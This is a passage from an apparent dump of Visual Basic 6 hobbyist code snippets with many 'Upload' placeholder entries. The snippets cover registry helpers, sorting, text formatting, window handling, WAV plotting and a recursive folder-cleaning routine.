0&, lDataBufSize)\nIf lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n If intZeroPos > 0 Then\n getstring = Left$(strBuf, intZeroPos - 1)\n Else\n getstring = strBuf\n End If\n End If\nEnd If\nEnd Function\n\nPublic Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)\n'EXAMPLE:\n'\n'Call savestring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\", text1.text)\n'\nDim keyhand As Long\nDim r As Long\nr = RegCreateKey(Hkey, strPath, keyhand)\nr = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\nr = RegCloseKey(keyhand)\nEnd Sub\n\nFunction getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long\n'EXAMPLE:\n'\n'text1.text = getdword(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\")\n'\nDim lResult As Long\nDim lValueType As Long\nDim lBuf As Long\nDim lDataBufSize As Long\nDim r As Long\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\n ' Get length/data type\nlDataBufSize = 4\n \nlResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)\nIf lResult = ERROR_SUCCESS Then\n If lValueType = REG_DWORD Then\n getdword = lBuf\n End If\n'Else\n' Call errlog(\"GetDWORD-\" & strPath, False)\nEnd If\nr = RegCloseKey(keyhand)\n \nEnd Function\nFunction SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)\n'EXAMPLE\"\n'\n'Call SaveDword(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\", text1.text)\n'\n \n Dim lResult As Long\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)\n 'If lResult <> error_success Then Call errlog(\"SetDWORD\", False)\n r = RegCloseKey(keyhand)\nEnd Function\nPublic Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)\n'EXAMPLE:\n'\n'Call DeleteKey(HKEY_CURRENT_USER, \"Software\\VBW\")\n'\nDim r As Long\nr = RegDeleteKey(Hkey, strKey)\nEnd Function\nPublic Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)\n'EXAMPLE:\n'\n'Call DeleteValue(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\")\n'\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\nr = RegDeleteValue(keyhand, strValue)\nr = RegCloseKey(keyhand)\nEnd Function\n\n"},{"WorldId":1,"id":6619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6630,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6644,"LineNumber":1,"line":"Public Function MsgBox(Prompt As String, Optional Buttons As VbMsgBoxStyle = vbOKOnly, Optional Title As String, Optional HelpFile As String, Optional Context As Single, Optional LogToFile As Boolean = False) As VbMsgBoxResult\n Dim strErrorLog As String\n Dim iFileHandle As Integer\n Dim strErrorTitle As String\n Dim iResult As Integer\n \n iFileHandle = FreeFile\n strErrorTitle = App.EXEName & \" : \" & Title\n strErrorLog = App.Path & \"\\\" & App.EXEName & \".log\"\n ' Force error loging on all critical messages\n If (Buttons And vbCritical) Then\n LogToFile = True\n End If\n ' if the user has choosen to log, or it's a critical message, log it\n If LogToFile = True Then\n Open strErrorLog For Append As #iFileHandle\n Print #iFileHandle, Now, Prompt\n Close #iFileHandle\n End If\n ' Call the real message box routine\n iResult = VBA.MsgBox(Prompt, Buttons, strErrorTitle, HelpFile, Context)\n MsgBox = iResult\nEnd Function\n"},{"WorldId":1,"id":6645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6658,"LineNumber":1,"line":"'┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»\n' Name: Sort_TwoDimensionBubble\n' VB Version: 6.00\n' Called by: Procedures Events\n' ---------- ------\n'\n' Author: Gordon McI. Fuller\n' Copyright: ┬⌐2000 Force 10 Automation\n' Created: Friday, March 17, 2000\n' Modified: [Friday, March 17, 2000]\n' Purpose:\n' Inputs: Param Name Type Meaning\n' ----- ---- ---- -------\n' TempArray Variant\n' Optional iElement Integer\n' Optional iDimension Integer = 1\n' Optional bAscOrder Boolean = True\n' Returns: True/False for success of the sort\n' Global Used:\n' Module used:\n'------------------------------------------------------------\n' Notes: This is a bubble sort\n' For large arrays it may not be the most efficient\n' option, but I haven't found anything in a\n' multi-dimension sort using another algorithm.\n'\n' Sample array array(0,0) = Apples\n' array(0,1) = 5\n' array(0,2) = Tree\n' array(1,0) = Grapes\n' ...\n' Apples 5 Tree\n' Grapes 2 Vine\n' Pears 3 Tree\n' The iDimension is 1 because it am sorting by the \"rows\" of the\n' first dimension rather than the \"columns\" of the 2nd\n' Since we would want to sort by the numeric value,\n' the iElement variable is 1\n' bAscOrder indicates whether the sort order is ascending or descending\n'\n' If the array were structured as\n' array(0,0) = \"Apples\"\n' array(1,0) = 5\n' array(2,0) = Tree\n' ...\n' Apples Grapes Tree\n' 5 2 3\n' Tree Vine Tree\n' iDimension will be 2 since we are sorting on the \"columns\"\n' iElement will still be 1 since we are sorting by that numeric value\n'┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»\nFunction Sort_TwoDimensionBubble(TempArray As Variant, _\n Optional iElement As Integer = 1, _\n Optional iDimension As Integer = 1, _\n Optional bAscOrder As Boolean = True) As Boolean\n Dim arrTemp As Variant\n Dim i%, j%\n Dim NoExchanges As Integer\n On Error GoTo Error_BubbleSort\n ' Loop until no more \"exchanges\" are made.\n If iDimension% = 1 Then\n ReDim arrTemp(1, UBound(TempArray, 2))\n Else\n ReDim arrTemp(UBound(TempArray, 1), 1)\n End If\n \n Do\n NoExchanges = True\n ' Loop through each element in the array.\n If iDimension% = 1 Then\n For i% = LBound(TempArray, iDimension%) To UBound(TempArray, iDimension%) - 1\n \n ' If the element is greater than the element\n ' following it, exchange the two elements.\n If (bAscOrder And (TempArray(i%, iElement%) > TempArray(i% + 1, iElement%))) _\n Or (Not bAscOrder And (TempArray(i%, iElement%) < TempArray(i% + 1, iElement%))) _\n Then\n NoExchanges = False\n For j% = LBound(TempArray, 2) To UBound(TempArray, 2)\n arrTemp(1, j%) = TempArray(i%, j%)\n Next j%\n For j% = LBound(TempArray, 2) To UBound(TempArray, 2)\n TempArray(i%, j%) = TempArray(i% + 1, j%)\n Next j%\n For j% = LBound(TempArray, 2) To UBound(TempArray, 2)\n TempArray(i% + 1, j%) = arrTemp(1, j%)\n Next j%\n End If\n Next i%\n Else\n For i% = LBound(TempArray, iDimension%) To UBound(TempArray, iDimension%) - 1\n \n ' If the element is greater than the element\n ' following it, exchange the two elements.\n If (bAscOrder And (TempArray(iElement%, i%) > TempArray(iElement%, i% + 1))) _\n Or (Not bAscOrder And (TempArray(iElement%, i%) < TempArray(iElement%, i% + 1))) _\n Then\n NoExchanges = False\n For j% = LBound(TempArray, 1) To UBound(TempArray, 1)\n arrTemp(j%, 1) = TempArray(j%, i%)\n Next j%\n For j% = LBound(TempArray, 1) To UBound(TempArray, 1)\n TempArray(j%, i%) = TempArray(j%, i% + 1)\n Next j%\n For j% = LBound(TempArray, 1) To UBound(TempArray, 1)\n TempArray(j%, i% + 1) = arrTemp(j%, 1)\n Next j%\n End If\n Next i%\n End If\n Loop While Not (NoExchanges)\n Sort_TwoDimensionBubble = True\n On Error GoTo 0\n Exit Function\nError_BubbleSort:\n On Error GoTo 0\n Sort_TwoDimensionBubble = False\nEnd Function\n"},{"WorldId":1,"id":6659,"LineNumber":1,"line":"Option Explicit\nOption Compare Text\n'Developed by Lisa Z. Morgan\n'Lairhaven Enterprises\n'lairhavn@pinn.net\n'┬⌐ 2000 All rights reserved.\n'Use under the standard terms of Planet-Source-Code.com\n'Is explicitly permitted.\nPublic Type NameAndAddress\n FullName As String\n MailingName As String\n StreetAddress As String\n CompanyAddress As String\n FullText As String\nEnd Type\n \nPublic Function MailingLabelText(LastName As String, FirstName As String, _\n Optional MI As String = \"\", _\n Optional Title As String = \"\", _\n Optional Honorific As String = \"\", _\n Optional CompanyName As String = \"\", _\n Optional AddrLine1 As String = \"\", _\n Optional AddrLine2 As String = \"\", _\n Optional City As String = \"\", _\n Optional State As String = \"\", _\n Optional ZipCode As String = \"\" _\n ) As NameAndAddress\n'Generates a full address or as much as is available\n On Error GoTo HandleErr\n Dim strName As String\n Dim strAddress As String\n \n'Build the name\n If Len(MI) = 0 Then\n strName = FirstName & \" \" & LastName\n Else\n strName = FirstName & \" \" & MI & \" \" & LastName\n End If\n'Assign the name to the FullName element\n MailingLabelText.FullName = strName\n'Add title or honorific if present\n If Len(Honorific) = 0 Then\n If Len(Title) > 0 Then\n strName = Title & \" \" & strName\n End If\n Else\n strName = strName & \", \" & Honorific\n End If\n'assign the full name to the MailingName element\n MailingLabelText.MailingName = strName\n'Build the Address\n If Len(AddrLine1) > 0 Then\n strAddress = AddrLine1\n End If\n \n If Len(AddrLine2) > 0 Then\n strAddress = strAddress & vbCrLf & AddrLine2\n End If\n If Len(City) > 0 Then\n strAddress = strAddress & vbCrLf & City\n If Len(State) > 0 Then\n strAddress = strAddress & \", \" & State\n End If\n If Len(ZipCode) > 0 Then\n If Right(ZipCode, 1) = \"-\" Then\n ZipCode = Left(ZipCode, Len(ZipCode) - 1)\n End If\n strAddress = strAddress & \" \" & ZipCode\n End If\n End If\n \n 'Assign the string to the streetaddress element\n MailingLabelText.StreetAddress = strAddress\n With MailingLabelText\n 'Assign the other combinations as appropriate\n If Len(CompanyName) > 0 Then\n .CompanyAddress = CompanyName & vbCrLf & strAddress\n End If\n If (Len(strName) > 0 And Len(CompanyName) > 0) Then\n .FullText = strName & vbCrLf & CompanyName & vbCrLf & strAddress\n ElseIf (Len(strName) > 0 And Len(CompanyName) = 0) Then\n .FullText = strName & vbCrLf & strAddress\n ElseIf (Len(strName) = 0 And Len(CompanyName) > 0) Then\n .FullText = CompanyName & vbCrLf & strAddress\n Else\n .FullText = strAddress\n End If\n \n End With\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MailingLabelText\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nPublic Function MakeProper(StringIn As Variant) As String\n'Upper-Cases the first letter of each word in in a string\n On Error GoTo HandleErr\n Dim strBuild As String\n Dim intLength As Integer\n Dim intCounter As Integer\n Dim strChar As String\n Dim strPrevChar As String\nintLength = Len(StringIn)\n'Bail out if there is nothing there\nIf intLength > 0 Then\n strBuild = UCase(Left(StringIn, 1))\n For intCounter = 1 To intLength\n strPrevChar = Mid$(StringIn, intCounter, 1)\n strChar = Mid$(StringIn, intCounter + 1, 1)\n Select Case strPrevChar\n Case Is = \" \", \".\", \"/\"\n strChar = UCase(strChar)\n Case Else\n End Select\n strBuild = strBuild & strChar\n Next intCounter\n MakeProper = strBuild\n strBuild = MakeWordsLowerCase(strBuild, \" and \", \" or \", \" the \", \" a \", \" to \")\n MakeProper = strBuild\nEnd If\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MakeProper\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction MakeWordsLowerCase(StringIn As String, _\n ParamArray WordsToCheck()) As String\n'Looks for the words in the WordsToCheck Array within\n'the StringIn string and makes them lower case\n On Error GoTo HandleErr\n Dim strWordToFind As String\n Dim intWordStarts As Integer\n Dim intWordEnds As Integer\n Dim intStartLooking As Integer\n Dim strResult As String\n Dim intLength As Integer\n Dim intCounter As Integer\n \n 'Initialize the variables\n strResult = StringIn\n intLength = Len(strResult)\n intStartLooking = 1\n \n For intCounter = LBound(WordsToCheck) To UBound(WordsToCheck)\n strWordToFind = WordsToCheck(intCounter)\n Do\n intWordStarts = InStr(intStartLooking, strResult, strWordToFind)\n If intWordStarts = 0 Then Exit Do\n intWordEnds = intWordStarts + Len(strWordToFind)\n strResult = Left(strResult, intWordStarts - 1) & _\n LCase(strWordToFind) & _\n Mid$(strResult, intWordEnds, (intLength - intWordEnds) + 1)\n intStartLooking = intWordEnds\n \n Loop While intWordStarts > 0\n intStartLooking = 1\n Next intCounter\n \n MakeWordsLowerCase = strResult\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MakeWordsLowerCase\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction OrdinalNumber(NumberIn As Long) As String\n'Formats a number as an ordinal number\n On Error GoTo HandleErr\n Dim intLastDigit As Integer\n Dim intLastTwoDigits As Integer\n intLastDigit = NumberIn Mod 10\n intLastTwoDigits = NumberIn Mod 100\n Select Case intLastTwoDigits\n Case 11 To 19\n OrdinalNumber = CStr(NumberIn) & \"th\"\n Case Else\n Select Case intLastDigit\n Case Is = 1\n OrdinalNumber = CStr(NumberIn) & \"st\"\n Case Is = 2\n OrdinalNumber = CStr(NumberIn) & \"nd\"\n Case Is = 3\n OrdinalNumber = CStr(NumberIn) & \"rd\"\n Case Else\n OrdinalNumber = CStr(NumberIn) & \"th\"\n End Select\n End Select\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"OrdinalNumber\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction MonthName(DateIn As Date) As String\n'Returns the full name of the month of the date passed in\nOn Error GoTo HandleErr\nDim dv As New DevTools\n Select Case Month(DateIn)\n Case Is = 1\n MonthName = \"January\"\n Case Is = 2\n MonthName = \"February\"\n Case Is = 3\n MonthName = \"March\"\n Case Is = 4\n MonthName = \"April\"\n Case Is = 5\n MonthName = \"May\"\n Case Is = 6\n MonthName = \"June\"\n Case Is = 7\n MonthName = \"July\"\n Case Is = 8\n MonthName = \"August\"\n Case Is = 9\n MonthName = \"September\"\n Case Is = 10\n MonthName = \"October\"\n Case Is = 11\n MonthName = \"November\"\n Case Is = 12\n MonthName = \"December\"\n End Select\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MonthName\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction DateWord(DateIn As Date) As String\n'Accepts: DateIn--the date to be converted\n'Returns: DateWord--the date in \"5th day of August, 1997\" format\n'Comments: Calls OrdinalNum for the day value and MonthName for the Month\n'*****************************************************************************\n On Error GoTo HandleErr\n Dim strDay As String\n Dim strMonth As String\n Dim strYear As String\n Dim lngIntDayNum As Long\n \n strMonth = MonthName(DateIn)\n strYear = CStr(Year(DateIn))\n lngIntDayNum = CInt(Day(DateIn))\n strDay = OrdinalNum(lngIntDayNum)\n \n \nDateWord = strDay & _\n \" day of \" & strMonth & _\n \", \" & strYear\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"DateWord\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nPublic Sub LogError(ProcedureName As String, ErrorNumber As Long, _\n ErrorDescription As String, ErrorSource As String)\n On Error GoTo HandleErr\n \n Dim lngFileNo As Long\n Dim strTextFile As String\n Dim strPath As String\n Dim strLogText As String\n \n 'Build a text entry for the error log file\n strLogText = vbCrLf & Space(14) & \" * BEGIN ERROR RECORD * \" & vbCrLf\n strLogText = strLogText & \"Error \" & ErrorNumber\n strLogText = strLogText & \" in Procedure \" & ProcedureName & \" at \" & Now() & vbCrLf\n strLogText = strLogText & ErrorDescription & vbCrLf\n strLogText = strLogText & Space(14) & \"* END ERROR RECORD * \" & vbCrLf & vbCrLf\n \n 'place the file in the application directory and name it Error Log.txt\n strPath = App.Path\n strTextFile = strPath & \"\\Error Log.txt\"\n 'Open the file\n lngFileNo = FreeFile\n Open strTextFile For Append As #lngFileNo\n 'Write the error entry\n Write #lngFileNo, strLogText\n 'Close the file\n Close #lngFileNo\nExitHere:\n Exit Sub\nHandleErr:\n Debug.Print \"Error in LogError\"\n Resume ExitHere\nEnd Sub\n"},{"WorldId":1,"id":6660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6672,"LineNumber":1,"line":"'There are three programs which:\n'send any keystroke to any application.\n'minimize any window(of any application).\n'maximise any window(of any application).\n'Send Keystroke'\n'~~~~~~~~~~~~~~'\nDim ReturnValue, I\nReturnValue = Shell(\"App. Name\", 1) ' e.g. Shell (\"Calc.exe\",1)\nAppActivate ReturnValue ' Activate the Calculator.\nFor I = 1 To 100 ' Set up counting loop.\n SendKeys I & \"{+}\", True ' Send keystrokes to Calculator\nNext I ' to add each value of I.\nSendKeys \"=\", True ' Get grand total.\nSendKeys \"%{F4}\", True ' Send ALT+F4 to close Calculator.\n'Minimize'\n'~~~~~~~~'\nPrivate Declare Function CloseWindow Lib \"user32\" Alias \"CloseWindow\" _\n(ByVal hwnd As Long) As Long\nShell \"Calc.exe\",1 'This will start calc. Any appl. can be opened \n\t\t 'like this\na = screen.activeform.hwnd 'will return the window handle of calc.\n\t\t\t 'to get handle of own app. don't use shell \n\t\t\t 'command and write the code as it is.\t\nclosewindow(a) 'will minimize calc\n'Maximize'\n'~~~~~~~~'\n'this code assumes that the application is opened but minimized\n'If application is not opened you may use /Shell \"App Nm\"/ to open it\n\nAppactivate \"Title\",True 'Here Title is the one which is shown in the \n\t\t\t 'title bar of the application\n\t\t\t 'Shell command automatically gives title so \n\t\t\t 'in above example to send keystroke we did \n\t\t\t 'not mention title.\nSendKeys \"%( x)\" '% stands for alt and then a blank and x is sent \n\t\t 'to maximize.\n"},{"WorldId":1,"id":6693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6694,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Command1_Click()\n Dim FileNumber As Integer\n Dim I As Single\n Dim Min As Single\n Dim Max As Single\n Dim Temp As Integer\n Dim XZoomrate As Single\n Dim YZoomrate As Single\n Dim LastX As Single\n Dim LastY As Single\n On Error GoTo ErrorHandler\n ' Enable Cancel error\n With Picture1\n CommonDialog1.CancelError = True\n CommonDialog1.Filter = \"Wave files (*.wav)|*.wav\"\n CommonDialog1.ShowOpen\n \n ' Change the caption of the form\n Me.Caption = CommonDialog1.filename\n \n I = 44 ' Set I To 44, since the wave sample is begin at Byte 44.\n ' Open file to get the length of the wav\n ' e file.\n FileNumber = FreeFile\n Open CommonDialog1.filename For Random As #FileNumber\n Do\n Get #FileNumber, I, Temp\n I = I + 1\n ' Get the smallest and largest number. T\n ' hey will be use for the adjustment\n ' of the vertical size.\n If Temp < Min Then Min = Temp\n If Temp > Max Then Max = Temp\n Loop Until EOF(FileNumber)\n Close #FileNumber\n ' Adjust values and reset values\n XZoomrate = (.Width / I)\n YZoomrate = (Max - Min) / (.Height / 2)\n .CurrentX = 100\n .CurrentY = .Height / 2\n LastX = 100\n LastY = .Height / 2\n .AutoRedraw = True\n I = 44\n ' Reopen file using a different FileNumb\n ' er\n FileNumber = FileNumber + 1\n .Cls\n Open CommonDialog1.filename For Random As #FileNumber\n Do\n Get #FileNumber, I, Temp\n ' Set CurrentX and CurrentY\n .CurrentX = .CurrentX + XZoomrate\n .CurrentY = (Temp / YZoomrate) + .Height / 2\n ' Plot graph\n Picture1.Line (LastX, LastY)-(.CurrentX, .CurrentY), vbBlack\n ' Reset values\n LastX = .CurrentX\n LastY = .CurrentY\n I = I + 1\n \n If .CurrentX > .Width Then Exit Do\n Loop Until EOF(FileNumber)\n Close #FileNumber\n End With\n \nErrorHandler:\n ' Do nothing\nEnd Sub\nPrivate Sub Form_Resize()\n On Error Resume Next\n ' Resize control\n With Picture1\n .BackColor = vbWhite\n .ForeColor = vbBlack\n .Move 50, 500, Width - 200, Height - 800\n End With\nEnd Sub"},{"WorldId":1,"id":6703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6710,"LineNumber":1,"line":"Private Sub Command1_Click()\n 'Opens a Treeview control that displays the directories in a computer\n Dim lpIDList As Long \n Dim sBuffer As String\n Dim szTitle As String \n Dim tBrowseInfo As BrowseInfo\n szTitle = \"This is the title\" \n With tBrowseInfo\n .hWndOwner = Me.hWnd \n .lpszTitle = lstrcat(szTitle, \"\")\n .ulFlags = BIF_RETURNONLYFSDIRS_\n +BIF_DONTGOBELOWDOMAIN\n \n End With \n lpIDList = SHBrowseForFolder(tBrowseInfo)\n If (lpIDList) Then \n sBuffer = Space(MAX_PATH)\n SHGetPathFromIDList lpIDList, sBuffer\n sBuffer = Left(sBuffer, InStr\n (sBuffer, vbNullChar) - 1)\n MsgBox sBuffer \n End If \nEnd Sub"},{"WorldId":1,"id":6712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6723,"LineNumber":1,"line":"\n'Use this sub in the form you are coding, it could be improved to be a global procedure\n'and pass the form as an argument.\nPrivate Sub Resizeall()\nDim Ctl As Control\n Dim X As Integer\n \n Dim Size As Double\n ScreenX = GetSystemMetrics(SM_CXSCREEN)\n\n ScreenY = GetSystemMetrics(SM_CYSCREEN)\n \n' this picks out the display settings.\nSelect Case ScreenX\n Case 640\n 'size = 0.67\n Size = 0.64\n Case 800\n Size = 0.72\n Case 1024\n Exit Sub\n Case 1280\n 'Exit Sub\n Size = 1.25\n Case Else\n Exit Sub\n End Select\n 'Me.Height = Me.Height * size\n 'Me.Top = Me.Top * size\n 'Me.Width = Me.Width * size\n 'Me.Left = Me.Left * size\n For Each Ctl In Me.Controls\n \n Ctl.Height = Ctl.Height * Size\n Ctl.Width = Ctl.Width * Size\n Ctl.Top = Ctl.Top * Size\n Ctl.Left = Ctl.Left * Size\n If TypeOf Ctl Is TextBox Or TypeOf Ctl Is Label Or TypeOf Ctl Is CommandButton Then\n 'Ctl.SizeToFit\n Ctl.FontName = \"Arial\"\n Ctl.FontSize = 6.7\n If TypeOf Ctl Is CommandButton Then\n Ctl.FontName = \"Arial\"\n Ctl.FontSize = 5\n End If\n End If\n \n 'SizeToFit\n \n Next Ctl\n \nEnd Sub"},{"WorldId":1,"id":6724,"LineNumber":1,"line":"'**** MODULE LEVEL CODE ****\nPublic Function WndProc(ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nDim retval As Long\n \n'Is triggered if Always on top is clicked.\nIf wMsg = WM_SYSCOMMAND And wParam = MenuItemID Then\n WndProc = 0\n If Checked Then\n 'switch menu to unchecked\n retval = CheckMenuItem(MenuHandle, MenuItemID, MF_UNCHECKED)\n 'set window to not top most window\n retval = SetWindowPos(Hwnd, HWND_NOTOPMOST, 0, 0, 1, 1, SWP_NOMOVE Or SWP_NOSIZE)\n 'toggle checked\n Checked = Not Checked\n Else\n 'switch menu to checked\n retval = CheckMenuItem(MenuHandle, MenuItemID, MF_CHECKED)\n 'make window always on top\n retval = SetWindowPos(Hwnd, HWND_TOPMOST, 0, 0, 1, 1, SWP_NOMOVE Or SWP_NOSIZE)\n 'toggle checked\n Checked = Not Checked\n End If\n Exit Function\nEnd If\n \n'Is Triggered if Close is clicked.\nIf wMsg = WM_SYSCOMMAND And wParam = MenuCloseID Then\n retval = MsgBox(\"Are you sure you wish to exit?\", vbYesNo, \"Confirm Close\")\n If retval = vbNo Then\n 'Traps out the Close event so window does not close.\n WndProc = 0\n Exit Function\n End If\nEnd If\n \n'Pass on all the other unhandled messages\nWndProc = CallWindowProc(OldProc, Hwnd, wMsg, wParam, lParam)\n \nEnd Function\n \n \nPublic Sub AddMenuItem(Hwnd As Long)\nDim x As Long\n \nChecked = False\n \n'Get system menu handle\nMenuHandle = GetSystemMenu(Hwnd, False)\n \n'Append a seporator line\nx = AppendMenu(MenuHandle, MF_SEPARATOR, 0, \"\")\n \n'Append Always on Top Item, and Set to unchecked - 555 is the ItemID.\nx = AppendMenu(MenuHandle, MF_UNCHECKED, 555, \"Always on Top\")\n \n'Redraw the menubar\nx = DrawMenuBar(Hwnd)\n \n'Get menuitemid for item 8 and 6 in system menu which are 'Always on Top' and 'Close'.\nMenuItemID = GetMenuItemID(MenuHandle, 8)\nMenuCloseID = GetMenuItemID(MenuHandle, 6)\n \n'store the old message handler.\nOldProc = GetWindowLong(Hwnd, GWL_WNDPROC)\n \n'set the message handler to ours.\nSetWindowLong Hwnd, GWL_WNDPROC, AddressOf WndProc\n \nEnd Sub\n \n \nSub UnHookWindow(Hwnd As Long)\n'Sets procedure for handling events back to the original.\n SetWindowLong Hwnd, GWL_WNDPROC, OldProc\nEnd Sub\n \n\n\n\n'**** FORM LEVEL CODE ****\n \n \n'Paste this code in any form.\n \nOption Explicit\n \nPrivate Sub Form_Load()\n 'Setup menus and message handlers.\n Call AddMenuItem(Me.Hwnd)\nEnd Sub\n \n \nPrivate Sub Form_Unload(Cancel As Integer)\n 'Restore message handler. Run this or crash.\n Call UnHookWindow(Me.Hwnd)\nEnd Sub\n \n"},{"WorldId":1,"id":6727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6741,"LineNumber":1,"line":"Public Sub CleanAllPath(sPath As String)\nDim sName As String\nDim sFullName As String\n' Array used for holding the directories,\n' however collection may be used as well\nDim Dirs() As String\nDim DirsNo As Integer\nDim i As Integer\n If Not Right(sPath, 1) = \"\\\" Then\n sPath = sPath & \"\\\"\n End If\n ' clean all files in the directory\n sName = Dir(sPath & \"*.*\")\n While Len(sName) > 0\n sFullName = sPath & sName\n SetAttr sFullName, vbNormal\n Kill sFullName\n sName = Dir\n Wend\n \n sName = Dir(sPath & \"*.*\", vbHidden)\n While Len(sName) > 0\n sFullName = sPath & sName\n SetAttr sFullName, vbNormal\n Kill sFullName\n sName = Dir\n Wend\n \n ' read all the directories into array\n DirsNo = 0\n sName = Dir(sPath, vbDirectory)\n While Len(sName) > 0\n If sName <> \".\" And sName <> \"..\" Then\n DirsNo = DirsNo + 1\n ReDim Preserve Dirs(DirsNo) As String\n Dirs(DirsNo - 1) = sName\n End If\n sName = Dir\n Wend\n For i = 0 To DirsNo - 1\n CleanAllPath (sPath & Dirs(i) & \"\\\")\n RmDir sPath & Dirs(i)\n Next\n \nEnd Sub\n"},{"WorldId":1,"id":6742,"LineNumber":1,"line":"'This function changes the style based on the flag\nPublic Sub SetNumber(NumberText As TextBox, Flag As Boolean)\nDim curstyle As Long\nDim newstyle As Long\n'This Function uses 2 API functions to set the style of\n'a textbox so it will only accept numbers CShell\ncurstyle = GetWindowLong(NumberText.hwnd, GWL_STYLE)\nIf Flag Then\n curstyle = curstyle Or ES_NUMBER\nElse\n curstyle = curstyle And (Not ES_NUMBER)\nEnd If\nnewstyle = SetWindowLong(NumberText.hwnd, GWL_STYLE, curstyle)\nNumberText.Refresh\nEnd Sub"},{"WorldId":1,"id":6749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":68